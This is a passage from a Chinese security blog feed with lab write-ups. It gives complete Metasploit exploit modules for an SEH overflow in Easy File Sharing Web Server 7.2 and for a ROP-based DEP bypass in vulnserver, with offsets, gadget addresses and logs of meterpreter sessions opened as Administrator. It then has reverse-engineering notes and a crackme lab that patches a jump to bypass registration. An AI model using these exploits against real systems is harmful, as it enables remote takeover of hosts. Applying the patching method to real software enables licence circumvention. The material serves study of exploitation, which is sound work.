0 dir 2019-05-14 09:54:43 +0800 Application Data</span> <br > <span class= "line" > 40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Cookies</span> <br > <span class= "line" > 40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Favorites</span> <br > <span class= "line" > 40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Local Settings</span> <br > <span class= "line" > 40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 My Documents</span> <br > <span class= "line" > 100666/rw-rw-rw- 1048576 fil 2019-05-14 09:54:43 +0800 NTUSER.DAT</span> <br > <span class= "line" > 40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 NetHood</span> <br > <span class= "line" > 40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 PrintHood</span> <br > <span class= "line" > 40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Recent</span> <br > <span class= "line" > 40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 SendTo</span> <br > <span class= "line" > 40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Templates</span> <br > <span class= "line" > 100777/rwxrwxrwx 26665 fil 2019-05-28 14:59:10 +0800 bof-server.exe</span> <br > <span class= "line" > 100666/rw-rw-rw- 1024 fil 2019-05-14 09:54:43 +0800 ntuser.dat.LOG</span> <br > <span class= "line" > 100666/rw-rw-rw- 178 fil 2019-05-14 09:54:43 +0800 ntuser.ini</span> <br > <span class= "line" > 40777/rwxrwxrwx 0 dir 2019-05-29 10:49:26 +0800 vulnserver</span> <br > <span class= "line" > 40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 「开始」菜单</span> <br > <span class= "line" > 40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 桌面</span> <br > <span class= "line" > </span> <br > <span class= "line" > meterpreter > </span> <br > </pre> </td> </tr> </table> </figure>
<hr >
<h1 id= "0x02-基于SEH的栈溢出" > <a href= "#0x02-基于SEH的栈溢出" class= "headerlink" title= "0x02 基于SEH的栈溢出" > </a> 0x02 基于SEH的栈溢出</h1> <blockquote >
<p > <strong > 目标程序</strong> Easy File Sharing Web Server 7.2</p>
<p > <strong > 漏洞点</strong> <br > 在处理请求时存在漏洞——一个恶意的请求头部( HEAD或GET) 就可以引起缓冲区溢出, 从而改写SEH链的地址。</p>
<p > <strong > 利用seh</strong> <br > 填充物+nseh+ seh( pop popretn指令序列地址) +shellcode</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744120/11.png" a l t > </p>
</blockquote>
<h2 id= "确定溢出点的位置-1" > <a href= "#确定溢出点的位置-1" class= "headerlink" title= "确定溢出点的位置" > </a> 确定溢出点的位置</h2> <ol >
<li > 生成字符序列<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 10000 > a.txt</span> <br > <span class= "line" > python -c " print(' HTTP/1.0\r\n\r\n' )" > b.txt</span> <br > <span class= "line" > cat a.txt b.txt > c.txt</span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ol>
<p > 删除cat造成的多余字符0x0a<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > vim -bz.txt</span> <br > <span class= "line" > # In Vim</span> <br > <span class= "line" > :%!xxd</span> <br > <span class= "line" > # After editing, use the instruction below to save</span> <br > <span class= "line" > :%!xxd -r</span> <br > </pre> </td> </tr> </table> </figure> </p>
<ol start= "2" >
<li > 构造SEH链</li>
</ol>
<ul >
<li > 将Easy File Sharing Web Server 7.2加载到ImmunityDebugger中, 并处于运行状态。</li>
<li > 发送溢出字符序列</li>
<li > 查看Easy File Sharing Web Server 7.2溢出地址<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744240/pwn/231.png" a l t > </li>
</ul>
<ol start= "3" >
<li > 计算偏移量<br > 计算catch块偏移量& 计算下一条SEH记录偏移量</li>
</ol>
<h2 id= "寻找PPR" > <a href= "#寻找PPR" class= "headerlink" title= "寻找PPR" > </a> 寻找PPR</h2> <ol >
<li > 使用mona寻找<br > 需要POP/POP/RET指令的地址来载入下一条SEH记录的地址, 并跳转到攻击载荷<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > !mona modules</span> <br > <span class= "line" > !mona seh</span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ol>
<h2 id= "自动化攻击-1" > <a href= "#自动化攻击-1" class= "headerlink" title= "自动化攻击" > </a> 自动化攻击</h2> <ol >
<li > <p > 编写攻击脚本</p>
<figure class= "highlight ruby" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "keyword" > require</span> <span class= "string" > 'msf/core'</span> </span> <br > <span class= "line" > <span class= "class" > <span class= "keyword" > class</span> <span class= "title" > MetasploitModule</span> < Msf::Exploit::<span class= "title" > Remote</span> </span> </span> <br > <span class= "line" > Rank = NormalRanking</span> <br > <span class= "line" > <span class= "keyword" > include</span> Msf::Exploit::Remote::Tcp</span> <br > <span class= "line" > <span class= "keyword" > include</span> Msf::Exploit::Seh</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "function" > <span class= "keyword" > def</span> <span class= "title" > initialize</span> <span class= "params" > (info = { } )</span> </span> </span> <br > <span class= "line" > <span class= "keyword" > super</span> (update_info(info,</span> <br > <span class= "line" > <span class= "string" > 'Name'</span> => <span class= "string" > 'Easy File Sharing HTTP Server 7.2 SEH Overflow'</span> ,</span> <br > <span class= "line" > <span class= "string" > 'Description'</span> => <span class= "string" > %q{ </span> </span> <br > <span class= "line" > <span class= "string" > This Module Demonstrate SEH based overflow example</span> </span> <br > <span class= "line" > <span class= "string" > } </span> ,</span> <br > <span class= "line" > <span class= "string" > 'Author'</span> => <span class= "string" > 'yanhan'</span> ,</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "string" > 'Payload'</span> => </span> <br > <span class= "line" > { </span> <br > <span class= "line" > <span class= "string" > 'Space'</span> => <span class= "number" > 390</span> ,</span> <br > <span class= "line" > <span class= "string" > 'BadChars'</span> => <span class= "string" > "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"</span> </span> <br > <span class= "line" > } ,</span> <br > <span class= "line" > <span class= "string" > 'Platform'</span> => <span class= "string" > 'Windows'</span> ,</span> <br > <span class= "line" > <span class= "string" > 'Targets'</span> => </span> <br > <span class= "line" > [</span> <br > <span class= "line" > [</span> <br > <span class= "line" > <span class= "string" > 'Easy File Sharing 7.2 HTTP'</span> ,</span> <br > <span class= "line" > { </span> <br > <span class= "line" > <span class= "string" > 'Ret'</span> => <span class= "number" > 0x10022fd7</span> ,</span> <br > <span class= "line" > <span class= "string" > 'Offset'</span> => <span class= "number" > 4061</span> </span> <br > <span class= "line" > } </span> <br > <span class= "line" > ]</span> <br > <span class= "line" > ],</span> <br > <span class= "line" > <span class= "string" > 'DisclosureDate'</span> => <span class= "string" > '2019-01-16'</span> ,</span> <br > <span class= "line" > ))</span> <br > <span class= "line" > <span class= "keyword" > end</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "function" > <span class= "keyword" > def</span> <span class= "title" > exploit</span> </span> </span> <br > <span class= "line" > connect</span> <br > <span class= "line" > weapon = <span class= "string" > "HEAD "</span> </span> <br > <span class= "line" > weapon < < make_nops(target[<span class= "string" > 'Offset'</span> ])</span> <br > <span class= "line" > weapon < < generate_seh_record(target[<span class= "string" > 'Ret'</span> ])</span> <br > <span class= "line" > weapon < < make_nops(<span class= "number" > 20</span> )</span> <br > <span class= "line" > weapon < < payload.encoded</span> <br > <span class= "line" > weapon < < <span class= "string" > " HTTP/1.0\r\n\r\n"</span> </span> <br > <span class= "line" > sock.put(weapon)</span> <br > <span class= "line" > handler</span> <br > <span class= "line" > disconnect</span> <br > <span class= "line" > <span class= "keyword" > end</span> </span> <br > <span class= "line" > <span class= "keyword" > end</span> </span> <br > <
</li>
<li > <p > exploit</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > msf5 > use exploit/windows/yanhan/seh_attack</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/seh_attack) > set rhosts 192.168.31.114</span> <br > <span class= "line" > rhosts => 192.168.31.114</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/seh_attack) > set rport 80</span> <br > <span class= "line" > rport => 80</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/seh_attack) > exploit</span> <br > <span class= "line" > </span> <br > <span class= "line" > [*] Started reverse TCP handler on 192.168.31.84:4444</span> <br > <span class= "line" > [*] Exploit completed, but no session was created.</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/seh_attack) > set payload windows/meterpreter/bind_tcp</span> <br > <span class= "line" > payload => windows/meterpreter/bind_tcp</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/seh_attack) > exploit</span> <br > <span class= "line" > </span> <br > <span class= "line" > [*] Started bind TCP handler against 192.168.31.114:4444</span> <br > <span class= "line" > [*] Sending stage (179779 bytes) to 192.168.31.114</span> <br > <span class= "line" > [*] Meterpreter session 1 opened (192.168.31.84:46601 -> 192.168.31.114:4444) at 2019-07-10 16:43:47 +0800</span> <br > <span class= "line" > </span> <br > <span class= "line" > meterpreter > getuid</span> <br > <span class= "line" > Server username: WHU-3E3EECEBFD1\Administrator</span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ol>
<hr >
<h1 id= "0x03-绕过DEP" > <a href= "#0x03-绕过DEP" class= "headerlink" title= "0x03 绕过DEP" > </a> 0x03 绕过DEP</h1> <blockquote >
<p > <strong > 目标程序</strong> <a href= "http://www.thegreycorner.com/2010/12/introducing-vulnserver.html" target= "_blank" rel= "noopener" > Introducing Vulnserver</a> <br > <strong > 使用</strong> vulnserver.exe 6666<br > <strong > 漏洞点</strong> <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744461/%E5%9B%BE%E7%89%8712.png" a l t > </p>
</blockquote>
<h2 id= "设置DEP保护" > <a href= "#设置DEP保护" class= "headerlink" title= "设置DEP保护" > </a> 设置DEP保护</h2> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562744518/pwn/%E6%8D%9511%E8%8E%B7.png" a l t > <br > <em > 构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode</em> </p>
<h2 id= "计算偏移量" > <a href= "#计算偏移量" class= "headerlink" title= "计算偏移量" > </a> 计算偏移量</h2> <p > <code > ' TRUN .' +make_nops(target[' Offset' ])</code> <br > Immunity附加进程之后, 在服务端发送3000个字符, 计算偏移</p>
<h2 id= "创建ROP链" > <a href= "#创建ROP链" class= "headerlink" title= "创建ROP链" > </a> 创建ROP链</h2> <p > <code > !mona rop -m *.dll -cp nonull</code> <br > <figure class= "highlight ruby" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "comment" > ################################################################################</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > Register setup <span class= "keyword" > for</span> VirtualProtect() <span class= "symbol" > :</span> </span> <br > <span class= "line" > --------------------------------------------</span> <br > <span class= "line" > EAX = NOP (<span class= "number" > 0x90909090</span> )</span> <br > <span class= "line" > ECX = lpOldProtect (ptr to W address)</span> <br > <span class= "line" > EDX = NewProtect (<span class= "number" > 0x40</span> )</span> <br > <span class= "line" > EBX = dwSize</span> <br > <span class= "line" > ESP = lPAddress (automatic)</span> <br > <span class= "line" > EBP = ReturnTo (ptr to jmp esp)</span> <br > <span class= "line" > ESI = ptr to VirtualProtect()</span> <br > <span class= "line" > EDI = ROP NOP (RETN)</span> <br > <span class= "line" > --- alternative chain ---</span> <br > <span class= "line" > EAX = ptr to & VirtualProtect()</span> <br > <span class= "line" > ECX = lpOldProtect (ptr to W address)</span> <br > <span class= "line" > EDX = NewProtect (<span class= "number" > 0x40</span> )</span> <br > <span class= "line" > EBX = dwSize</span> <br > <span class= "line" > ESP = lPAddress (automatic)</span> <br > <span class= "line" > EBP = POP (skip <span class= "number" > 4</span> bytes)</span> <br > <span class= "line" > ESI = ptr to JMP [EAX]</span> <br > <span class= "line" > EDI = ROP NOP (RETN)</span> <br > <span class= "line" > + place ptr to <span class= "string" > "jmp esp"</span> on stack, below PUSHAD</span> <br > <span class= "line" > --------------------------------------------</span> <br > <span class= "line" > </span> <br > <span class= "line" > </span> <br > <span class= "line" > ROP Chain <span class= "keyword" > for</span> VirtualProtect() [(XP/<span class= "number" > 2003</span> Server <span class= "keyword" > and</span> up)] <span class= "symbol" > :</span> </span> <br > <span class= "line" > ----------------------------------------------------------</span> <br > <span class= "line" > </span> <br > <span class= "line" > *** [ Ruby ] ***</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "function" > <span class= "keyword" > def</span> <span class= "title" > create_rop_chain</span> <span class= "params" > ()</span> </span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > # rop chain generated with mona.py - www.corelan.be</span> </span> <br > <span class= "line" > rop_gadgets =</span> <br > <span class= "line" > [</span> <br > <span class= "line" > <span class= "number" > 0x77dabf34</span> , <span class= "comment" > # POP ECX # RETN [ADVAPI32.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0x6250609c</span> , <span class= "comment" > # ptr to & VirtualProtect() [IAT essfunc.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0x77d1927f</span> , <span class= "comment" > # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0x7c96d192</span> , <span class= "comment" > # XCHG EAX,ESI # RETN [ntdll.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0x77bef671</span> , <span class= "comment" > # POP EBP # RETN [msvcrt.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0x625011af</span> , <span class= "comment" > # & jmp esp [essfunc.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0x77e9ad22</span> , <span class= "comment" > # POP EAX # RETN [RPCRT4.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0xfffffdff</span> , <span class= "comment" > # Value to negate, will become 0x00000201</span> </span> <br > <span class= "line" > <span class= "number" > 0x77e6c784</span> , <span class= "comment" > # NEG EAX # RETN [RPCRT4.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0x77dc560a</span> , <span class= "comment" > # XCHG EAX,EBX # RETN [ADVAPI32.dll]</span> </span> <br > <
<h2 id= "自动化攻击-2" > <a href= "#自动化攻击-2" class= "headerlink" title= "自动化攻击" > </a> 自动化攻击</h2> <figure class= "highlight ruby" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "keyword" > require</span> <span class= "string" > 'msf/core'</span> </span> <br > <span class= "line" > <span class= "class" > <span class= "keyword" > class</span> <span class= "title" > Metasploit3</span> < Msf::Exploit::<span class= "title" > Remote</span> </span> </span> <br > <span class= "line" > Rank = NormalRanking</span> <br > <span class= "line" > <span class= "keyword" > include</span> Msf::Exploit::Remote::Tcp</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "function" > <span class= "keyword" > def</span> <span class= "title" > initialize</span> <span class= "params" > (info = { } )</span> </span> </span> <br > <span class= "line" > <span class= "keyword" > super</span> (update_info(info,</span> <br > <span class= "line" > <span class= "string" > 'Name'</span> => <span class= "string" > 'DEP Bypass Exploit'</span> ,</span> <br > <span class= "line" > <span class= "string" > 'Description'</span> => <span class= "string" > %q{ </span> </span> <br > <span class= "line" > <span class= "string" > DEP Bypass Using ROP Chains Example Module</span> </span> <br > <span class= "line" > <span class= "string" > } </span> ,</span> <br > <span class= "line" > <span class= "string" > 'Platform'</span> => <span class= "string" > 'Windows'</span> ,</span> <br > <span class= "line" > <span class= "string" > 'Author'</span> => <span class= "string" > 'yanhan'</span> ,</span> <br > <span class= "line" > <span class= "string" > 'Payload'</span> => </span> <br > <span class= "line" > { </span> <br > <span class= "line" > <span class= "string" > 'space'</span> => <span class= "number" > 312</span> ,</span> <br > <span class= "line" > <span class= "string" > 'BadChars'</span> => <span class= "string" > "\x00"</span> </span> <br > <span class= "line" > } ,</span> <br > <span class= "line" > <span class= "string" > 'Targets'</span> => </span> <br > <span class= "line" > [</span> <br > <span class= "line" > [</span> <br > <span class= "line" > <span class= "string" > 'Windows XP'</span> ,</span> <br > <span class= "line" > { <span class= "string" > 'Offset'</span> => find it} </span> <br > <span class= "line" > ]</span> <br > <span class= "line" > ],</span> <br > <span class= "line" > <span class= "string" > 'DisclosureDate'</span> => <span class= "string" > '2019-01-16'</span> ))</span> <br > <span class= "line" > <span class= "keyword" > end</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "function" > <span class= "keyword" > def</span> <span class= "title" > create_rop_chain</span> <span class= "params" > ()</span> </span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > # rop chain generated with mona.py - www.corelan.be</span> </span> <br > <span class= "line" > rop_gadgets =</span> <br > <span class= "line" > [</span> <br > <span class= "line" > <span class= "number" > 0x77dabf34</span> , <span class= "comment" > # POP ECX # RETN [ADVAPI32.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0x6250609c</span> , <span class= "comment" > # ptr to & VirtualProtect() [IAT essfunc.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0x77d1927f</span> , <span class= "comment" > # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0x7c96d192</span> , <span class= "comment" > # XCHG EAX,ESI # RETN [ntdll.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0x77bef671</span> , <span class= "comment" > # POP EBP # RETN [msvcrt.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0x625011af</span> , <span class= "comment" > # & jmp esp [essfunc.dll]</span> </span> <br > <span class= "line" > <span class= "number" > 0x77e9ad22</span> , <span class= "comment" > # POP EAX # RETN [RPCRT4.dll]</span> </span> <br > <span c l a
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > msf5 > use exploit/windows/yanhan/rop_attack</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/rop_attack) > set rhosts 192.168.31.114</span> <br > <span class= "line" > rhosts => 192.168.31.114</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/rop_attack) > set rport 1000</span> <br > <span class= "line" > rport => 1000</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/rop_attack) > exploit</span> <br > <span class= "line" > </span> <br > <span class= "line" > [*] Started reverse TCP handler on 192.168.31.84:4444</span> <br > <span class= "line" > [*] Exploit completed, but no session was created.</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/rop_attack) > set payload windows/meterpreter/bind_tcp</span> <br > <span class= "line" > payload => windows/meterpreter/bind_tcp</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/rop_attack) > exploit</span> <br > <span class= "line" > </span> <br > <span class= "line" > [*] Started bind TCP handler against 192.168.31.114:4444</span> <br > <span class= "line" > [*] Exploit completed, but no session was created.</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/rop_attack) > exploit</span> <br > <span class= "line" > </span> <br > <span class= "line" > [*] Started bind TCP handler against 192.168.31.114:4444</span> <br > <span class= "line" > [*] Sending stage (179779 bytes) to 192.168.31.114</span> <br > <span class= "line" > [*] Meterpreter session 1 opened (192.168.31.84:44537 -> 192.168.31.114:4444) at 2019-07-10 16:51:07 +0800</span> <br > <span class= "line" > </span> <br > <span class= "line" > meterpreter > getuid</span> <br > <span class= "line" > Server username: WHU-3E3EECEBFD1\Administrator</span> <br > </pre> </td> </tr> </table> </figure>
]]></content>
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > Pwn</category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 二进制</tag>
<tag > Windows</tag>
<tag > 漏洞</tag>
</tags>
</entry>
<entry >
<title > 逆向工程与软件破解</title>
<url > /2019/03/28/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C/</url>
<content > <![CDATA[<h1 id="软件保护方式"> <a href= "#软件保护方式" class= "headerlink" title= "软件保护方式" > </a> 软件保护方式</h1> <ol >
<li > 功能限制</li>
<li > 时间限制</li>
</ol>
<ul >
<li > 运行时长限制</li>
<li > 使用日期限制</li>
<li > 使用次数限制</li>
</ul>
<ol start= "3" >
<li > 警告窗口</li>
</ol>
<h2 i d > <a href= "#" class= "headerlink" t i t l e > </a> <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553759246/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E5%9B%BE%E7%89%871.png" a l t > </h2> <h1 id= "分析工具" > <a href= "#分析工具" class= "headerlink" title= "分析工具" > </a> 分析工具</h1> <ol >
<li > 静态分析工具</li>
</ol>
<ul >
<li > IDA</li>
<li > W32Dasm</li>
<li > lordPE</li>
<li > Resource Hacker</li>
</ul>
<ol start= "2" >
<li > 动态分析工具</li>
</ol>
<ul >
<li > OllyDbg</li>
<li > WinDbg</li>
</ul>
<hr >
<h1 id= "对抗分析技术" > <a href= "#对抗分析技术" class= "headerlink" title= "对抗分析技术" > </a> 对抗分析技术</h1> <ol >
<li > 反静态分析技术</li>
</ol>
<ul >
<li > 花指令</li>
<li > 自修改代码技术</li>
<li > 多态技术</li>
<li > 变形技术</li>
<li > 虚拟机保护技术</li>
</ul>
<ol start= "2" >
<li > 反动态分析技术</li>
</ol>
<ul >
<li > 检测调试状态</li>
<li > 检测用户态调试器</li>
<li > 检测内核态调试器</li>
<li > 其他方法: 父进程检测; StartupInfo 结构; 时间差; 通过Trap Flag检测</li>
</ul>
<ol start= "3" >
<li > 发现调试器后的处理</li>
</ol>
<ul >
<li > 程序自身退出</li>
<li > 向调试器窗口发送消息使调试器退出</li>
<li > 使调试器窗口不可用</li>
<li > 终止调试器进程</li>
</ul>
<hr >
<h1 id= "PE文件格式基础" > <a href= "#PE文件格式基础" class= "headerlink" title= "PE文件格式基础" > </a> PE文件格式基础</h1> <hr >
<h1 id= "加壳脱壳" > <a href= "#加壳脱壳" class= "headerlink" title= "加壳脱壳" > </a> 加壳脱壳</h1> <hr >
<h1 id= "反调试技术" > <a href= "#反调试技术" class= "headerlink" title= "反调试技术" > </a> 反调试技术</h1> <p > 反调试技术,程序用它来识别是否被调试,或者让调试器失效。为了阻止调试器的分析,当程序意识到自己被调试时,它们可能改变正常的执行路径或者修改自身程序让自己崩溃,从而增加调试时间和复杂度。</p>
<h2 id= "探测windows调试器" > <a href= "#探测windows调试器" class= "headerlink" title= "探测windows调试器" > </a> 探测windows调试器</h2> <ol >
<li > 使用windows API<br > 使用Windows API函数探测调试器是否存在是最简单的反调试技术。<br > 通常, 防止使用API进行反调试的方法有在程序运行期间修改恶意代码, 使其不能调用API函数, 或修改返回值, 确保执行合适的路径, 还有挂钩这些函数。<br > 常用来探测调试器的API函数有: <code > IsDebuggerPresent</code> <code > CheckRemoteDebuggerPresent</code> <code > NtQueryInformationProcess</code> <code > OutputDebuggString</code> </li>
<li > 手动检测数据结构<br > 程序编写者经常手动执行与这些API功能相同的操作</li>
</ol>
<ul >
<li > 检查BeingDebugged属性</li>
<li > 检测ProcessHeap属性</li>
<li > 检测NTGlobalFlag</li>
</ul>
<ol start= "3" >
<li > 系统痕迹检测<br > 通常, 我们使用调试工具来分析程序, 但这些工具会在系统中驻留一些痕迹。程序通过搜索这种系统的痕迹, 来确定你是否试图分析它。例如, 查找调试器引用的注册表项。同时, 程序也可以查找系统的文件和目录, 查找当前内存的痕迹, 或者查看当前进程列表, 更普遍的做法是通过FindWindows来查找调试器。</li>
</ol>
<h2 id= "识别调试器的行为" > <a href= "#识别调试器的行为" class= "headerlink" title= "识别调试器的行为" > </a> 识别调试器的行为</h2> <p > 在逆向工程中, 可以使用断点或单步调试来帮助分析, 但执行这些操作时, 会修改进程中的代码。因此可以使用几种反调试技术探测INT扫描、完整性校验以及时钟检测等几种类型的调试器行为。</p>
<ol >
<li > INT扫描<br > 调试器设置断点的基本机制是用软件中断INT 3, 机器码为0xCC, 临时替换程序中的一条指令。因此可以通过扫描INT 3修改来检测。</li>
<li > 执行代码校验和检查<br > 与INT扫描目的相同, 但仅执行机器码的CRC或MD5校验和检查。</li>
<li > 时钟检测<br > 被调试时,进程的运行速度大大降低,常用指令有:<code > rdstc</code> <code > QueryPerformanceCounter</code> <code > GetTickCount</code> ,有如下两种方式探测时钟:</li>
</ol>
<ul >
<li > 记录执行一段操作前后的时间戳</li>
<li > 记录触发一个异常前后的时间戳<h2 id= "干扰调试器的功能" > <a href= "#干扰调试器的功能" class= "headerlink" title= "干扰调试器的功能" > </a> 干扰调试器的功能</h2> 本地存储(TLS)回调: TLS回调被用来在程序入口点执行之前运行代码, 这发生在程序刚被加载到调试器时<br > 使用异常: 使用SEH链可以实现异常, 程序可以使用异常来破坏或探测调试器, 调试器捕获异常后, 并不会将处理权立即返回给被调试进程。<br > 插入中断: 插入INT 3、INT 2D、ICE<h2 id= "调试器漏洞" > <a href= "#调试器漏洞" class= "headerlink" title= "调试器漏洞" > </a> 调试器漏洞</h2> PE头漏洞、OutputDebugString漏洞</li>
</ul>
<hr >
<h1 id= "实验一:软件破解" > <a href= "#实验一:软件破解" class= "headerlink" title= "实验一:软件破解" > </a> 实验一:软件破解</h1> <h2 id= "对象" > <a href= "#对象" class= "headerlink" title= "对象" > </a> 对象</h2> <p > <a href= "https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553761280/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/crack.exe1" target= "_blank" rel= "noopener" > crack.exe</a> , 28.0 KB</p>
<ul >
<li > 无保护措施:无壳、未加密、无反调试措施</li>
<li > 用户名至少要5个字节</li>
<li > 输入错误验证码时输出: “Bad Boy!”</li>
</ul>
<h2 id= "爆破" > <a href= "#爆破" class= "headerlink" title= "爆破" > </a> 爆破</h2> <h3 id= "查找显示注册结果相关代码" > <a href= "#查找显示注册结果相关代码" class= "headerlink" title= "查找显示注册结果相关代码" > </a> 查找显示注册结果相关代码</h3> <p > 当输入错误验证码时, 程序会输出“Bad Boy”, 因此我们将程序拖入IDA, 以流程图显示函数内部的跳转。查找“Bad Boy”字符串, 我们可以定位到显示注册结果的相关代码: <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553772615/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B71.png" a l t > </p>
<h3 id= "查找注册码验证相关代码" > <a href= "#查找注册码验证相关代码" class= "headerlink" title= "查找注册码验证相关代码" > </a> 查找注册码验证相关代码</h3> <p > 用鼠标选中程序分支点,按空格切换回汇编指令界面<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553773066/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B72.png" a l t > </p>
<p > 可以看到, 这条指令位于PE文件的.text节, 并且IDA已经自动将地址转换为运行时的内存地址<code > VA:004010F9</code> </p>
<h3 id= "修改程序跳转" > <a href= "#修改程序跳转" class= "headerlink" title= "修改程序跳转" > </a> 修改程序跳转</h3> <ul >
<li > 现在关闭IDA, 换用OllyDbg进行动态调试来看看程序时如何分支跳转的<code > Ctrl+G</code> 直接跳到由IDA得到的<code > VA:004010F9</code> 处查看那条引起程序分支的关键指令</li>
<li > 选中这条指令, 按F2设置断点, 再按F9运行程序, 这时候控制权会回到程序, OllyDbg暂时挂起。到程序提示输入名字和序列号, 随意输入( 名字大于五个字节) , 点击ok后, OllyDbg会重新中断程序, 收回控制权, 如图: <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553775053/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B74.png" a l t > </li>
<li > <p > 验证函数的返回值存于EAX寄存器中, if语句通过以下两条指令执行</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > cmp eax,ecx</span> <br > <span class= "line" > jnz xxxxxxx</span> <br > </pre> </td> </tr> </table> </figure>
</li>
<li > <p > 也就是说, 当序列号输入错误时, EAX中的值为0, 跳转将被执行。<br > 如果我们把<code > jnz</code> 这条指令修改为<code > jz</code> ,那么整个程序的逻辑就会反过来。<br > 双击<code > jnz</code> 这条指令,将其改为<code > jz</code> ,单击”汇编”将其写入内存<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553775817/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B75.png" a l t > <br > 可以看到此时程序执行了相反的路径</p>
</li>
<li > <p > 上面只是在内存中修改程序, 我们还需要在二进制文件中也修改相应的字节, 这里考察VA与文件地址之间的关系</p>
</li>
<li > 用LordPE打开.exe文件, 查看PE文件的节信息<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553776239/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B76.png" a l t > <br > 根据VA与文件地址的换算公式: <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 文件偏移地址 = VA - Image Base - 节偏移</span> <br > <span class= "line" > = 0x004010F9 - 0x00400000 - 0</span> <br > <span class= "line" > = 0x10F9</span> <br > </pre> </td> </tr> </table> </figure>
</li>
</ul>
<p > 也就是说, 这条指令在PE文件中位于<code > 10F9</code> 字节处, 使用010Editer打开crack.exe, 将这一字节的<code > 75(JNZ)`</code> 改为<code > 74(JZ)`</code> ,保存后重新执行,破解成功!</p>
